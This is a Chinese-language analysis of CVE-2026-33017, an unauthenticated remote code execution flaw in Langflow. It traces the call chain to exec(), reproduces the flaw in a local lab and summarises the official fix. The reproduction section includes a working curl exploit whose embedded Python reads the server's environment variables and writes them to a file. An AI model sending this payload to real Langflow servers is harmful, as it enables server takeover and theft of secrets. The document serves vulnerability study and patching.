CVE-2026-33017 Langflow 公开接口未授权 RCE 漏洞分析与利用
本文分析了 Langflow CVE-2026-33017 漏洞,指出其公开构建接口未校验请求体中的流程图数据,导致后端直接执行恶意 code 字段。攻击者通过构造包含任意 Python 代码的节点 payload,利用组件实例化阶段的 exec 调用实现未授权远程代码执行。
漏洞描述
Langflow 是一种用于构建多智能体和RAG应用的可视化框架
github上 star 146k
CVE-2026-33017 的根因在于公开构建接口仅校验 flow 是否公开,却允许
未认证用户提交任意流程图数据;后端又会在构图时读取其中的 code 字段并动态执行,最终导致未授权远程代码执行。攻击者可借此
读写文件、窃取密钥、访问数据库,甚至控制服务器。
评分:9.3
影响版本:<= 1.8.1
前置条件:
- Target Langflow 实例至少有一个公共流程(演示、聊天机器人、共享工作流程常见)
- 获得公共流程的UUID(可通过共享链接/URL发现)
- 无需认证——只需一个 cookie(任意字符串值)client_id
漏洞分析
来到src\backend\base\langflow\api\v1\chat.py(这里是公开接口)
可以看到
- 这里没有 Depends(get_current_active_user)。
- 同文件里认证版接口 /build/{flow_id}/flow 明确有 current_user: CurrentActiveUser
- 公开版不仅可以提交 data,还把 owner_user 作为 current_user 传进了后续流程。
来到src\backend\base\langflow\api\utils\core.py
这里未认证请求
还可以携带自己的图定义 data
并让服务端在 owner 上下文中处理这张图
而认证版接口是这么做的
接着来到src\backend\base\langflow\api\utils\core.py
看看检查了什么
- 总之就是验证了 flow_id 对应的 flow 是公开的
- 但它完全没有验证请求体中的 data 是可信的
然后看看为什么前端为什么会把整张图发给 build_public_tmp
来到src\frontend\src\customization\utils\custom-buildUtils.ts
- 如果是 Playground 的公开页面,就走 build_public_tmp
- 不是就走 build
来到src\frontend\src\utils\buildUtils.ts
const postData = {};
if (files) {
postData["files"] = files;
}
if (nodes) {
postData["data"] = {
nodes,
edges,
};
}- 如果前端手里有当前图的 nodes / edges
- 就把它们打包成 data 发给后端
再来到src\frontend\src\utils\buildUtils.ts
const buildResponse = await fetch(buildUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(postData),
credentials: getFetchCredentials(),
});- 把 postData 发往构建接口
- 如果 buildUrl 是公开页面,就意味着会把 data 发给 build_public_tmp
原因就是
“已认证编辑器提交当前图”是正常功能;
但“公开页面也复用同样的数据通道”就把未授权用户的图定义带进了后端执行链
再来到src\backend\base\langflow\api\build.py
``
- 如果请求没有 data,服务端才会从数据库加载 flow。
- 只要请求带了 data,服务端就直接用请求体中的 data.model_dump() 构图。
- 而 build_public_tmp() 恰恰允许未授权请求带 data。
再回到src\backend\base\langflow\api\utils\core.py的build_graph_from_data
发现这里没有做任何的安全防护
然后看其中的Graph.from_payload() 到_instantiate_components_in_vertices()
src\lfx\src\lfx\graph\graph\base.py
def from_payload(...):
if "data" in payload:
payload = payload["data"]
vertices = payload["nodes"]
edges = payload["edges"]
graph = cls(flow_id=flow_id, flow_name=flow_name, user_id=user_id, context=context)
graph.add_nodes_and_edges(vertices, edges)功能:
- 如果外层有 data,就先拆开
- 取出 nodes 和 edges
- 新建图对象
- 把这些节点和边塞进去
src\lfx\src\lfx\graph\graph\base.py
def add_nodes_and_edges(self, nodes, edges):
self._vertices = nodes
self._edges = edges
self.raw_graph_data = {"nodes": nodes, "edges": edges}
...
self._graph_data = process_flow(self.raw_graph_data)功能:
- 保存原始图数据
- 交给 process_flow() 做流程标准化
src\lfx\src\lfx\graph\graph\base.py
def initialize(self) -> None:
self._build_graph()
self.build_graph_maps(self.edges)
self.define_vertices_lists()功能:
- 开始真正构建图对象
src\lfx\src\lfx\graph\graph\base.py
def _build_graph(self) -> None:
self.vertices = self._build_vertices()
self.vertex_map = {vertex.id: vertex for vertex in self.vertices}
self.edges = self._build_edges()
self._build_vertex_params()
self._instantiate_components_in_vertices()功能:
- 把前端节点变成后端 Vertex 对象
- 解析参数
- 然后立刻实例化组件
src\lfx\src\lfx\graph\graph\base.py
def _instantiate_components_in_vertices(self) -> None:
for vertex in self.vertices:
vertex.instantiate_component(self.user_id)功能:
- 遍历图里的每个顶点
- 逐个实例化组件
这意味着:
恶意代码在“图初始化 / 组件实例化”阶段就会触发
不需要等到业务节点真正执行
src\lfx\src\lfx\graph\vertex\param_handler.py
def _process_direct_type_field(self, field_name: str, field: dict, params: dict[str, Any], load_from_db_fields: list[str]):
val = field.get("value")
if field.get("type") == "code":
params = self._handle_code_field(field_name, val, params)同文件
def _handle_code_field(self, field_name: str, val: Any, params: dict[str, Any]) -> dict[str, Any]:
try:
if field_name == "code":
params[field_name] = val
else:
params[field_name] = ast.literal_eval(val) if val else None
except Exception:
params[field_name] = val
return params这两段的代码作用为
- 专门识别出名为 code 的字段
- 直接把源码字符串原样放进参数字典
- 只有“别的代码型字段”才尝试做字面量解析
这一步没有任何安全净化
所以只要攻击者把恶意 Python 放进 template.code.value,这段逻辑就会把它完整保留下来
之后来到src\lfx\src\lfx\custom\eval.py
def eval_custom_component_code(code: str) -> type["CustomComponent"]:
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)- 先从源码里找出类名
- 再调用 create_class() 真正创建类
跟进src\lfx\src\lfx\custom\validate.py
def extract_class_name(code: str) -> str:
module = ast.parse(code)
for node in module.body:
if not isinstance(node, ast.ClassDef):
continue
for base in node.bases:
if isinstance(base, ast.Name) and any(pattern in base.id for pattern in ["Component", "LC"]):
return node.name- 用 AST 解析攻击者提供的源码
- 找到第一个继承基类名字里包含 Component 或 LC 的类
- 返回这个类名
也就是说:
- 攻击代码里需要包含一个形如 class X(Component): ... 的类
- 这样后续 create_class() 才知道要实例化哪个类
- 这里也是构造payload的 关键,不能想写什么python代码就写什么
来到src\lfx\src\lfx\custom\validate.py
这段代码功能就是添加一些默认import、用AST解析争段代码………
最主要还是因为exec()就在这个函数里
来到同文件
def prepare_global_scope(module):
exec_globals = globals().copy()
imports = []
import_froms = []
definitions = []
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom) and node.module is not None:
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
combined_module = ast.Module(body=definitions, type_ignores=[])
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals)- 它先把源码中的顶层节点分成三类:
- Import
- ImportFrom
- ClassDef / FunctionDef / Assign / AnnAssign
- 然后把 definitions 重新组合成一个 AST 模块
- 最后 compile(..., "exec")
- 再 exec(compiled_code, exec_globals)
只要我们
_x = os.system("id")- 这是 ast.Assign,会进入 definitions,然后被 exec() 执行。
- 又因为类定义会执行类体
- ClassDef 也被放进 definitions,Python 在执行类定义时会先执行类体,再创建类对象。
- 而且这是构图阶段执行,不是业务运行阶段执行
- 所以即使 flow 后续没有真正跑起来,这里的恶意代码也已经执行了。
还有第二个exec():build_class_constructor()
也在同文件
def build_class_constructor(compiled_class, exec_globals, class_name):
exec_locals = dict(locals())
exec(compiled_class, exec_globals, exec_locals)
exec_globals[class_name] = exec_locals[class_name]- 对编译好的类定义再次 exec()
- 从执行结果里取出类对象
这意味着:
- prepare_global_scope() 里已经有一次 exec()
- build_class_constructor() 里又有一次 exec()
- 所以如果恶意代码写在某些会重复求值的位置,理论上可能不止执行一次。
- PoC 通常把恶意代码放在顶层 Assign,因为这条路径最稳定。
简化调用链
- `POST /api/v1/build_public_tmp/{flow_id}/flow
- `build_public_tmp()
- `verify_public_flow_and_get_user()
- `create_graph()
- `build_graph_from_data(payload=data.model_dump())
- `Graph.from_payload()
- `Graph.initialize()
- `_build_graph()
- `_instantiate_components_in_vertices()
- `instantiate_class()
- `eval_custom_component_code(code)
- `create_class()
- `prepare_global_scope()
- `exec()
漏洞复现
搭建环境 (我这里安装的是1.8.1)
uv venv
source .venv/bin/activate
uv pip install langflow==1.8.1
langflow run
打开浏览器访问127.0.0.1:7860
创建一个工作流也可以用命令创建
新开一个终端输入
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
| jq -r '.id')
echo "Public Flow ID: $FLOW_ID"这里为了复现直接通过AUTO_LOGIN获得flow_id
这里我们就获得了flow_id
接下来直接命令行执行EXP
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os, socket, json as _json\n\n_proof = os.popen(\"env\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'
执行完会返回一个job_id,说明请求成功了,代码也被执行了
验证执行结果
cat /tmp/rce-proof
成功了
漏洞修复
官方修复


具体修了这些地方:
- 在 src/backend/base/langflow/api/v1/chat.py 里,公开端点 build_public_tmp() 不再信任请求体里的 data。PR 说明明确写
了:data 参数对 public flow “always ignored”,也就是未授权用户即使提交自定义 nodes/edges,后端也不会再用这份图来构
建。 - 同一个 chat.py 里加了安全审计日志。只要请求试图给 public flow 传 data,就会记录安全告警,日志里包含 flow_id、
client_id 和 IP 地址,用于审计和后续事件响应。 - 修复后的公开 flow 构建只会从数据库加载已保存的 flow 定义。这个点是 PR 的关键,因为漏洞的根因正是“公开端点优先使用攻
击者提交的 flow data”现在这条信任链被切断了。这里“因此会回到受信任的数据库 flow 构图路径”是我结合 PR 描述和现有代
码路径作出的推断。 - build_public_tmp() 的签名也做了小调整,PR 摘要提到它更新为接受 log_builds: bool | None
- 在 src/backend/tests/unit/test_chat_endpoint.py 里新增了 2 个安全测试:
- test_build_public_tmp_rejects_custom_data
- `test_build_public_tmp_data_parameter_is_ignored
这两个测试用来验证:给公开端点塞恶意或任意 data 时,系统会记录安全告警,并且不会按攻击者提供的 flow data 去执行
参考文章
CVE: Common Vulnerabilities and Exposures
Langflow 中通过公共流构建端点进行未认证的远程代码执行 ·警示 ·langflow-ai/langflow